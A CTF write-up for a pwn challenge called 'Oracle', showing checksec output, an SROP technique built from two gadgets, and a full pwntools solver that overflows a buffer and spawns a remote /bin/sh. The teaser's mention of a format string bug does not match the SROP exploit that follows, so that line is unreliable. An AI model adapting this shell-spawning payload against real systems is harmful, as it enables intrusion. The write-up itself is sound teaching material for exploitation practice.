MOJO-JOJO CTF / Pwn WRITEUP
Oracle
The Oracle knows all — but can you make it speak? Exploit a format string vulnerability to leak secrets from memory and gain arbitrary…
EVENTMOJO-JOJO CTFCATEGORYPwnDIFFICULTYmediumPOINTSArchived
Walkthrough
Reconnaissance
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
This is a statically linked, no-libc binary. It uses raw syscalls only — read, write, and exit. This means there's no system(), no printf(), nothing from libc. We must use raw syscalls.
The Two Gadgets
The binary provides exactly two gadgets:
echo_rax: pop rax ; ret @ 0x4010ce
echo_call: syscall ; ret @ 0x4010d7
With pop rax; ret + syscall; ret, we can invoke any syscall by controlling RAX.
Exploit Strategy: SROP
Sigreturn-Oriented Programming abuses sys_rt_sigreturn (syscall 15) to restore a fake signal frame, giving us full control over all registers.
- Overflow buffer (16 bytes + 8 bytes RBP = offset 24)
- Set RAX = 15 using
pop rax; ret - Trigger sigreturn via
syscall; ret - Fake SigreturnFrame sets:
RAX = 59(sys_execve)RDI = address of "/bin/sh"RSI = 0, RDX = 0RIP = syscall; ret
frame = SigreturnFrame()
frame.rax = 59 # sys_execve
frame.rdi = binsh # "/bin/sh" in .rodata
frame.rsi = 0
frame.rdx = 0
frame.rip = echo_call # syscall; ret
Result
[+] /bin/sh found at: 0x402000
[*] Building SIGROP payload...
[+] The echoes sing together!
$ cat flag.txt
MOJO-JOJO{s1gr3turn_m4st3r}
Reference solver
The reference solver supplied with the writeup:
from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)
p = remote('4.233.210.175',9003)
echo_rax = 0x4010ce # pop rax ; ret
echo_call = 0x4010d7 # syscall ; ret
log.success(f" Echo 1 (pop rax): {hex(echo_rax)}")
log.success(f" Echo 2 (syscall): {hex(echo_call)}")
# ═══════════════════════════════════════
# Find /bin/sh string in binary
# ═══════════════════════════════════════
try:
binsh = next(elf.search(b'/bin/sh\x00'))
except StopIteration:
try:
binsh = next(elf.search(b'/bin/sh'))
except StopIteration:
# From your objdump: /bin/sh is at 0x402000
binsh = 0x402000
log.warning(f"Hardcoded /bin/sh address: {hex(binsh)}")
log.success(f"/bin/sh found at: {hex(binsh)}")
p.recvuntil(b'echoes...')
log.info("Building SIGROP payload...")
offset = 24 # 16 bytes buffer + 8 bytes RBP
payload = b'A' * offset
# Set rax = 15 (sys_rt_sigreturn)
payload += p64(echo_rax)
payload += p64(15)
# Call sigreturn
payload += p64(echo_call)
# Build sigreturn frame for execve
frame = SigreturnFrame()
frame.rax = 59 # sys_execve
frame.rdi = binsh # pointer to "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = echo_call # return to syscall gadget
frame.rsp = 0# safe stack location
payload += bytes(frame)
# ═══════════════════════════════════════
# Send exploit
# ═══════════════════════════════════════
log.info(f"Payload size: {len(payload)} bytes")
log.info("Sending the resonance...")
p.send(payload)
sleep(0.5)
log.success("=" * 50)
log.success(" The echoes sing together!")
log.success("Shell spawned!")
log.success("=" * 50)
p.interactive()Flag
MOJO-JOJO{s1gr3turn_m4st3r}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn